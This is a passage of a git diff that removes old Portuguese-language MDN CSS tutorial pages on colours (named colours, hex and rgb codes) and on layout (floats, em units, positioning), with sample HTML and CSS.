- <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Oceanos</p>
- </div>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor combribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Tabelas" title="Talk:pt/CSS/Como_começar/Tabelas">Discussão</a>.</p>
-
-<p>Esta é a última página deste tutorial que foca as propriedades e valores das CSS. Para um sumário completo de propriedades e valores, veja <a class="external" href="http://www.w3.org/TR/CSS21/propidx.html">Full property table</a> em CSS Specification.</p>
-
-<p>A próxima página mostra novamente o propósito e a estrutura das folhas de estilo CSS: <strong><a href="/pt/CSS/Como_come%C3%A7ar/M%C3%ADdia" title="pt/CSS/Como_começar/Mídia">Mídia</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}</p>
diff --git a/files/pt-pt/learn/css/building_blocks/values_and_units/index.html b/files/pt-pt/learn/css/building_blocks/values_and_units/index.html
deleted file mode 100644
index 1c5855e14c..0000000000
--- a/files/pt-pt/learn/css/building_blocks/values_and_units/index.html
+++ /dev/null
@@ -1,342 +0,0 @@
----
-title: Cor
-slug: Learn/CSS/Building_blocks/Values_and_units
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors
-translation_of_original: Web/Guide/CSS/Getting_started/Color
-original_slug: Web/CSS/Como_começar/Cor
----
-<p>{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}</p>
-
-<p>Esta página explica mais sobre como você pode especificar cores no CSS.</p>
-
-<p>Em sua folha de estilo de amostra, você é introduzido nas cores de fundo.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Cor" name="Informa.C3.A7.C3.A3o:_Cor">Informação: Cor</h2>
-
-<p>Neste tutorial até agora, você usou um limitado número de cores nomeadas. CSS 2 suporta ao todo 17 cores nomeadas. Alguns dos nomes podem não ser o que você espera:</p>
-
-<table style="border: 0px; margin-left: 2em; text-align: right;">
- <tbody>
- <tr>
- <td> </td>
- <td>black</td>
- <td style="width: 2em; height: 2em; background-color: black;"> </td>
- <td>gray</td>
- <td style="width: 2em; height: 2em; background-color: gray;"> </td>
- <td>silver</td>
- <td style="width: 2em; height: 2em; background-color: silver;"> </td>
- <td>white</td>
- <td style="width: 2em; height: 2em; background-color: white; border: 1px dotted gray;"> </td>
- </tr>
- <tr>
- <td>primárias</td>
- <td>red</td>
- <td style="width: 2em; height: 2em; background-color: red;"> </td>
- <td>lime</td>
- <td style="width: 2em; height: 2em; background-color: lime;"> </td>
- <td>blue</td>
- <td style="width: 2em; height: 2em; background-color: blue;"> </td>
- </tr>
- <tr>
- <td>secundárias</td>
- <td>yellow</td>
- <td style="width: 2em; height: 2em; background-color: yellow;"> </td>
- <td>aqua</td>
- <td style="width: 2em; height: 2em; background-color: aqua;"> </td>
- <td>fuchsia</td>
- <td style="width: 2em; height: 2em; background-color: fuchsia;"> </td>
- </tr>
- <tr>
- <td> </td>
- <td>maroon</td>
- <td style="width: 2em; height: 2em; background-color: maroon;"> </td>
- <td>orange</td>
- <td style="width: 2em; height: 2em; background-color: orange;"> </td>
- <td>olive</td>
- <td style="width: 2em; height: 2em; background-color: olive;"> </td>
- <td>purple</td>
- <td style="width: 2em; height: 2em; background-color: purple;"> </td>
- <td>green</td>
- <td style="width: 2em; height: 2em; background-color: green;"> </td>
- <td>navy</td>
- <td style="width: 2em; height: 2em; background-color: navy;"> </td>
- <td>teal</td>
- <td style="width: 2em; height: 2em; background-color: teal;"> </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Seu navegador pode suportar muitas cores nomeadas, como:
- <table style="border: 0px; margin: .5em 0px .5em 2em; text-align: right; background-color: inherit;">
- <tbody>
- <tr>
- <td>dodgerblue</td>
- <td style="width: 2em; height: 2em; background-color: dodgerblue;"> </td>
- <td>peachpuff</td>
- <td style="width: 2em; height: 2em; background-color: peachpuff;"> </td>
- <td>tan</td>
- <td style="width: 2em; height: 2em; background-color: tan;"> </td>
- <td>firebrick</td>
- <td style="width: 2em; height: 2em; background-color: firebrick;"> </td>
- <td>aquamarine</td>
- <td style="width: 2em; height: 2em; background-color: aquamarine;"> </td>
- </tr>
- </tbody>
- </table>
-
- <p>Para detalhes sobre esta lista extendida, veja: <a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#svg-color">SVG color keywords</a> no CSS 3 Color Module. Cuidado ao usar cores nomeadas, pois seu navegador pode não suportar.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Para uma paleta maior, específica de cores de componentes vermelho, verde ou azul você precisa usar um sinal numérico (#) e três digitos <em>hexadecimais</em> na faixa de 0 – 9 e a – f. As letras a – f representam os valores 10 – 15:</p>
-
-<table style="border: 0px; margin-left: 2em;">
- <tbody>
- <tr>
- <td>black</td>
- <td style="width: 2em; height: 2em; background-color: #000;"> </td>
- <td><code>#000</code></td>
- </tr>
- <tr>
- <td>pure red</td>
- <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
- <td><code>#f00</code></td>
- </tr>
- <tr>
- <td>pure green</td>
- <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
- <td><code>#0f0</code></td>
- </tr>
- <tr>
- <td>pure blue</td>
- <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
- <td><code>#00f</code></td>
- </tr>
- <tr>
- <td>white</td>
- <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
- <td><code>#fff</code></td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Para a paleta total, especifique dois digitos hexadecimais por cada componente:</p>
-
-<table style="border: 0px; margin-left: 2em;">
- <tbody>
- <tr>
- <td>black</td>
- <td style="width: 2em; height: 2em; background-color: #000;"> </td>
- <td><code>#000000</code></td>
- </tr>
- <tr>
- <td>pure red</td>
- <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
- <td><code>#ff0000</code></td>
- </tr>
- <tr>
- <td>pure green</td>
- <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
- <td><code>#00ff00</code></td>
- </tr>
- <tr>
- <td>pure blue</td>
- <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
- <td><code>#0000ff</code></td>
- </tr>
- <tr>
- <td>white</td>
- <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
- <td><code>#ffffff</code></td>
- </tr>
- </tbody>
-</table>
-
-<p>Você pode usualmente pegar estes seis digitos em código hexadeximal de seu programa de imagens ou alguma outra ferramenta.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>Com uma pequena prática, você pode ajustar as cores de três digitos manualmente para a maioria dos propósitos:
- <table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
- <tbody>
- <tr>
- <td>Começe com vermelho puro:</td>
- <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
- <td><code>#f00</code></td>
- </tr>
- <tr>
- <td>Para tornar isto mais pálido, adicione um pouco de verde e azul:</td>
- <td style="width: 2em; height: 2em; background-color: #f77;"> </td>
- <td><code>#f77</code></td>
- </tr>
- <tr>
- <td>Para tornar isto mais alaranjado, adicione um pouquinho mais de verde:</td>
- <td style="width: 2em; height: 2em; background-color: #fa7;"> </td>
- <td><code>#fa7</code></td>
- </tr>
- <tr>
- <td>Para tornar isto mais escuro, reduza todos os componentes:</td>
- <td style="width: 2em; height: 2em; background-color: #c74;"> </td>
- <td><code>#c74</code></td>
- </tr>
- <tr>
- <td>Para reduzir a saturação, faça os componentes mais parecidos:</td>
- <td style="width: 2em; height: 2em; background-color: #c98;"> </td>
- <td><code>#c98</code></td>
- </tr>
- <tr>
- <td>Se você quiser deixar todos os componentes iguais, você obterá cinza:</td>
- <td style="width: 2em; height: 2em; background-color: #ccc;"> </td>
- <td><code>#ccc</code></td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- <tr>
- <td>Para uma sombra pastel como azul pálido:
- <table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
- <tbody>
- <tr>
- <td>Começe com branco puro:</td>
- <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
- <td><code>#fff</code></td>
- </tr>
- <tr>
- <td>Reduza um pouco os outros componentes:</td>
- <td style="width: 2em; height: 2em; background-color: #eef; border: 1px dotted gray;"> </td>
- <td><code>#eef</code></td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Você pode também especificar uma cor usando valores decimais RGB na faixa de 0 – 255, ou porcentagens.
- <p>Por exemplo, este marrom (vermelho escuro):</p>
-
- <div style="width: 24em;">
- <pre>
-rgb(128, 0, 0)
-</pre>
- </div>
-
- <p><br>
- Para maiores detalhes sobre como especificar cores, veja: <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#color-units">Colors</a> na CSS Specification.</p>
-
- <p>Para informação sobre sistema de cores combinadas como o Menu and ThreeDFace, veja: <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#system-colors">CSS2 System Colors</a> na CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Propriedades_de_cor" name="Propriedades_de_cor">Propriedades de cor</h3>
-
-<p>Você já usou a propriedade <code>color</code> para textos.</p>
-
-<p>Você também já usou a propriedade <code>background-color</code> para mudar elementos de fundo.</p>
-
-<p>Fundos podem ser configurados para <code>transparent</code> para remover qualquer cor explicitamente, reavaliando os elementos principais do fundo.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>As caixas de <strong>Exemplo</strong> neste tutorial usam este fundo amarelo pálido:
- <div style="width: 24em;">
- <pre>
-background-color: #fffff4;
-</pre>
- </div>
-
- <p>As caixas de <strong>Mais detalhes</strong> usam esta paleta cinza:</p>
-
- <div style="width: 24em;">
- <pre>
-background-color: #f4f4f4;
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Usando_c.C3.B3digos_de_cor" name="A.C3.A7.C3.A3o:_Usando_c.C3.B3digos_de_cor">Ação: Usando códigos de cor</h2>
-
-<p>Edite seu arquivo CSS. Faça a mudança mostrada aqui em negrito, para dar às letras iniciais um fundo azul pálido. (O layout e os comentários no seu arquivo irão provavelmente diferir do arquivo mostrado aqui. Mantenha o layout e os comentários como você preferir.)</p>
-
-<div style="width: 32em;">
-<pre class="eval">/*** CSS Tutorial: Página de Cor ***/
-
-/* Fonte da Página */
-body {font: 16px "Comic Sans MS", cursive;}
-
-/* Parágrafos */
-p {color: blue;}
-#first {font-style: italic;}
-
-/* Letras Iniciais */
-strong {
- color: red;
- <strong>background-color: #ddf;</strong>
- font: 200% serif;
- }
-
-.carrot {color: red;}
-.spinach {color: green;}
-</pre>
-</div>
-
-<p>Atualize seu navegador para ver o resultado:</p>
-
-<table>
- <tbody>
- <tr>
- <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 100%;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>No seu arquivo CSS, mude todos os nomes das cores para o código de cor com três digitos sem afetar o resultado.
- <p>(Isto não pode ser feito exatamente, mas você pode deixar parecido. Para fazer isso exatamente você precisa do código com seis dígitos, e você precisa olhar a Especificação CSS ou usar uma ferramenta gráfica para converter as cores.)</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Cor" title="Talk:pt/CSS/Como_começar/Cor">Discussão</a>.</p>
-
-<p>Seu documento de amostra e sua folha de estilo de amostra separam rigorosamente o conteúdo do estilo.</p>
-
-<p>A próxima página explica como você pode fazer exceções para separar rigorosamente: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Conte%C3%BAdo" title="pt/CSS/Como_começar/Conteúdo">Conteúdo</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}</p>
diff --git a/files/pt-pt/learn/css/css_layout/index.html b/files/pt-pt/learn/css/css_layout/index.html
deleted file mode 100644
index c6eb9caafa..0000000000
--- a/files/pt-pt/learn/css/css_layout/index.html
+++ /dev/null
@@ -1,454 +0,0 @@
----
-title: Disposição
-slug: Learn/CSS/CSS_layout
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/CSS_layout
-translation_of_original: Web/Guide/CSS/Getting_started/Layout
-original_slug: Web/CSS/Como_começar/Disposição
----
-<p>{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}</p>
-
-<p>Esta página descreve algumas maneiras para ajustar a disposição do seu documento.</p>
-
-<p>Você muda a disposição do seu documento de amostra...</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Disposi.C3.A7.C3.A3o" name="Informa.C3.A7.C3.A3o:_Disposi.C3.A7.C3.A3o">Informação: Disposição</h2>
-
-<p>Você pode usar as CSS para especificar vários efeitos visuais que mudam a disposição do seu documento. Algumas técnicas para especificação da disposição são avançadas,e além do alcance deste tutorial básico.</p>
-
-<p>Quando você desenha uma disposição que aparece similar em vários navegadores, sua folha de estilo interage com a folha de estilo padrão do navegador e o motor de disposição em alguns caminhos pode se tornar complexo. Isto é também uma matéria avançada, além do alcance deste tutorial básico.</p>
-
-<p>Esta página descreve algumas técnicas simples que você pode tentar.</p>
-
-<h4 id="Estrutura_do_documento" name="Estrutura_do_documento">Estrutura do documento</h4>
-
-<p>Se você quer controlar a disposição do seu documento, então você pode ter que mudar sua estrutura.</p>
-
-<p>A linguagem de marcação do seu documento pode ter tags com propósito geral para criar a estrutura. Por exemplo, no HTML você pode usar a tag <code>DIV</code> para criar a estrutura.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>No seu documento de amostra, os parágrafos numerados sob o segundo título não tem um "recipiente" próprio.
- <p>Sua folha de estilo não pode desenhar uma borda ao redor destes parágrafos, porque não há elemento especificado no seletor.</p>
-
- <p>Para fixar este problema estrutural, você pode adicionar uma tag <code>DIV</code> em torno dos parágrafos. Esta tag é única, então isto pode ser identificado por um atributo <code>id</code>:</p>
-
- <div style="width: 40em; color: gray;">
- <pre class="eval">
-&lt;H3 class="numbered"&gt;Parágrafos numerados&lt;/H3&gt;
-<strong style="color: black;">&lt;DIV id="numbered"&gt;</strong>
-&lt;P class="numbered"&gt;Lorem ipsum&lt;/P&gt;
-&lt;P class="numbered"&gt;Dolor sit&lt;/P&gt;
-&lt;P class="numbered"&gt;Amet consectetuer&lt;/P&gt;
-&lt;P class="numbered"&gt;Magna aliquam&lt;/P&gt;
-&lt;P class="numbered"&gt;Autem veleum&lt;/P&gt;
-<strong style="color: black;">&lt;/DIV&gt;</strong>
-</pre>
- </div>
-
- <p>Agora sua folha de estilo pode use uma regra para especificar bordas em tordo de ambas as listas:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-ul, #numbered {
- border: 1em solid #69b;
- padding-right:1em;
- }
-</pre>
- </div>
-
- <p>O resultado deve ser como este:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) Os oceanos</p>
-
- <div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;">
- <ul style="">
- <li>Ártico</li>
- <li>Atlântico</li>
- <li>Pacífico</li>
- <li>Índico</li>
- <li>Antártico</li>
- </ul>
- </div>
-
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Parágrafos numerados</p>
-
- <div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;">
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </div>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Tamanhos_das_unidades" name="Tamanhos_das_unidades">Tamanhos das unidades</h3>
-
-<p>Anteriormente neste tutorial, você especificou tamanhos em pixels (<code>px</code>). Estes são apropriados para alguns propósitos em um dispositivo de exposição como uma tela de computador. Mas quando o usuário muda o tamanho da fonte, sua disposição pode ficar errada.</p>
-
-<p>Para muitos propósitos é melhor especificar tamanhos com porcentagem ou em ems (<code>em</code>). Um em é nominalmente o tamanho da fonte corrente (a largura de uma letra m). Quando o usuário muda o tamanho da fonte, sua disposição ajusta-se automaticamente.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>A borda da esquerda deste texto tem o tamanho especificado em pixels.
- <p>A borda da direita tem o tamanho especificado em ems. No seu navegador, mude o tamanho da fonte para ver como a borda da direita se ajusta mas a borda da esquerda não:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <div style="">Redimensione-me por favor</div>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para outros dispositivos, outras unidades de comprimento são apropriadas.
- <p>Há mais informação sobre isto em uma página anterior deste tutorial.</p>
-
- <p>Para detalhes completos sobre os valores e unidades que você pode usar, veja <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#values">Values</a> em CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Disposi.C3.A7.C3.A3o_do_texto" name="Disposi.C3.A7.C3.A3o_do_texto">Disposição do texto</h3>
-
-<p>Duas propriedades especificam como o conteúdo de um elemento é alinhado. Você pode usá-las para ajustes simples na disposição:</p>
-
-<ul>
- <li><code>text-align</code></li>
-</ul>
-
-<dl>
- <dd>Alinha o conteúdo. Use um destes valores: <code>left</code>, <code>right</code>, <code>center</code>, <code>justify</code></dd>
-</dl>
-
-<ul>
- <li><code>text-indent</code></li>
-</ul>
-
-<dl>
- <dd>Indenta o conteúdo, colocando o espaço que você especificar.</dd>
-</dl>
-
-<p>Estas propriedades aplicam-se a qualquer conteúdo como texto no elemento, não somente ao texto atual. Lembre-se que elas são herdadas pelo elemento filho, então você pode ter que desativá-las nos elementos filhos para não se surpreender com os resultados.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Para centralizar títulos:
- <div style="width: 30em;">
- <pre class="eval">
-h3 {
- border-top: 1px solid gray;
- text-align: center;
- }
-</pre>
- </div>
-
- <p>Resulta em:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) Os oceanos</p>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p>Em um documento HTML, o conteúdo que você vê abaixo do título não é contido estruturalmente pelo título. Então quando você alinha um título como isto, as tags abaixo do título não são afetadas pela herança.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Flutuantes" name="Flutuantes">Flutuantes</h3>
-
-<p>A propriedade <code>float</code> força um elemento para a esquerda ou direita. Isto é uma maneira simples de controlar sua posição e tamanho.</p>
-
-<p>O resto do conteúdo do documento normalmente flui ao redor do elemento flutuado. Você pode controlar isto usando a propriedade <code>clear</code> em outros elementos para fazê-los permanecer sem flutuantes.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Em seu documento de amostra, as listas esticam através da janela. Você pode prevenir isto flutuando-os para a esquerda.
- <p>Para manter os títulos no lugar, você precisa também especificar que eles permaneçam limpos de flutuantes à sua esquerda:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-ul, #numbered {float: left;}
-h3 {clear: left;}
-</pre>
- </div>
-
- <p>O resultado deve se parecer com isto:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) Os oceanos</p>
-
- <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;">
- <ul style="">
- <li>Ártico</li>
- <li>Atlântico</li>
- <li>Pacífico</li>
- <li>Índico</li>
- <li>Antártico</li>
- </ul>
- </div>
-
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Parágrafos numerados</p>
-
- <div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;">
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </div>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p>(Um pequeno enchimento é necessário à direita das caixas, onde a borda fica muito perto do texto.)</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Posicionamento" name="Posicionamento">Posicionamento</h3>
-
-<p>Você pode especificar a posição dos elementos de quatro maneiras, especificando a propriedade <code>position</code> e um dos valores seguintes:</p>
-
-<p>Estas são propriedades avançadas. É possível usá-las de maneiras simples — esta é a razão pela qual elas são mencionadas neste tutorial básico. Mas usando-as para disposições complexas pode-se dificultar.</p>
-
-<ul>
- <li><code>relative</code></li>
-</ul>
-
-<dl>
- <dd>A posição do elemento é alterada relativamente à sua posição normal.</dd>
- <dd>Use-o para mover um elemento por uma quantidade especificada. Às vezes você pode usar a margem do elemento para obter o mesmo efeito.</dd>
-</dl>
-
-<ul>
- <li><code>fixed</code></li>
-</ul>
-
-<dl>
- <dd>A posição do elemento é fixa.</dd>
- <dd>Especifique a posição do elemento relativa à janela do documento. Mesmo que o resto do documento seja rolado, o elemento permanece fixo.</dd>
-</dl>
-
-<ul>
- <li><code>absolute</code></li>
-</ul>
-
-<dl>
- <dd>A posição do documento é fixada relativamente a um elemento pai.</dd>
- <dd>Somente um elemento pai que esteja posicionado com <code>relative</code>, <code>fixed</code> ou <code>absolute</code> o fará.</dd>
-</dl>
-
-<dl>
- <dd>Você pode tornar qualquer elemento principal apropriado, especificando <code>position: relative;</code> sem especificar qualquer movimento.</dd>
-</dl>
-
-<ul>
- <li><code>static</code></li>
-</ul>
-
-<dl>
- <dd>O padrão. Use este valor caso precise desativar a posição explicitamente.</dd>
-</dl>
-
-<p>Agora, com estes valores da propriedade <code>position</code> (exeto para <code>static</code>), especifique uma ou mais propriedades: <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>, <code>width</code>, <code>height</code> para identificar onde você quer que o elemento apareça, e talvez também seu tamanho.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Para posicionar dois elementos no topo, crie um "recipiente" principal em seu documento com os dois elementos dentre dele:
- <div style="width: 30em;">
- <pre class="eval">
-&lt;DIV id="parent-div"&gt;
-&lt;P id="forward"&gt;/&lt;/P&gt;
-&lt;P id="back"&gt;\&lt;/P&gt;
-&lt;/DIV&gt;
-</pre>
- </div>
-
- <p>Na sua folha de estilo, faça a posição principal <code>relative</code>. Ela não precisa que seja especificado qualquer movimento atual. Faça a posição subordinada <code>absolute</code>:</p>
-
- <div style="width: 30em;">
- <pre>
-#parent-div {
- position: relative;
- font: bold 200% sans-serif;
- }
-
-#forward, #back {
- position: absolute;
- margin:0px;
- top: 0px;
- left: 0px;
- }
-
-#forward {
- color: blue;
- }
-
-#back {
- color: red;
- }
-</pre>
- </div>
-
- <p>O resultado deve ser como isto, com a contra barra (\) sobre a barra (/):</p>
-
- <div style="position: relative; left: .33em; font: bold 300% sans-serif;">
- <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p>
-
- <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p>
- </div>
-
- <table style="border: 2px outset #36b; padding: 1em; width: 30em; height: 5em; background-color: white;">
- <tbody>
- <tr>
- <td> </td>
- </tr>
- </tbody>
- </table>
-
- <p> </p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>A história completa sobre posicionamento toma dois complexos capítulos em CSS Specification: <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html">Visual formatting model</a> e <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html">Visual formatting model details</a>.
- <p>Se você está desenhando folhas de estilo para trabalharem em vários navegadores, então você também precisa levar em conta as diferenças na maneira em que os navegadores interpretam o padrão, e talvez bugs em algumas versões de alguns navegadores.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Especificando_a_disposi.C3.A7.C3.A3o" name="A.C3.A7.C3.A3o:_Especificando_a_disposi.C3.A7.C3.A3o">Ação: Especificando a disposição</h2>
-
-<p>Mude seu documento de amostra e sua folha de estilo usando os exemplos anteriores nas seções <strong>Estrutura do documento</strong> e <strong>Flutuantes</strong>.</p>
-
-<p>No exemplo dos <strong>Flutuantes</strong>, adicione enchimento para separar o texto da borda direita por 0,5 em.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Mude seu documento de amostra, adicionando esta tag perto do fim, somente antes de <code>&lt;/BODY&gt;</code>
- <pre>
-&lt;IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"&gt;
-</pre>
-
- <p>Se você não baixou o arquivo de imagem anteriormente neste tutorial, baixe-o agora:</p>
-
- <table style="border: 2px solid #ccc;">
- <tbody>
- <tr>
- <td><img alt="Image:Yellow-pin.png" class="internal" src="/@api/deki/files/2557/=Yellow-pin.png"></td>
- </tr>
- </tbody>
- </table>
-
- <p>Prediga onde a imagem irá aparecer no seu documento. Então atualize seu navegador para ver se você estava certo.</p>
-
- <p>Adicione uma regra à sua folha de estilo que fixe a imagem no topo e a direita do seu documento.</p>
-
- <p>Atualize seu navegador e diminua o tamanho da janela. Cheque se a imagem permanece no topo e a direita mesmo que você role seu documento:</p>
-
- <div style="position: relative; width: 29.5em; height: 18em;">
- <div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;">
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) Os oceanos</p>
-
- <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;">
- <ul style="">
- <li>Ártico</li>
- <li>Atlântico</li>
- <li>Pacífico</li>
- <li>Índico</li>
- <li>Antártico</li>
- </ul>
- </div>
-
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Parágrafos numerados</p>
-
- <div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;">
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </div>
-
- <p style=""> </p>
-
- <div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin" class="internal" src="/@api/deki/files/2557/=Yellow-pin.png"></div>
- </div>
- </div>
- </td>
- </tr>
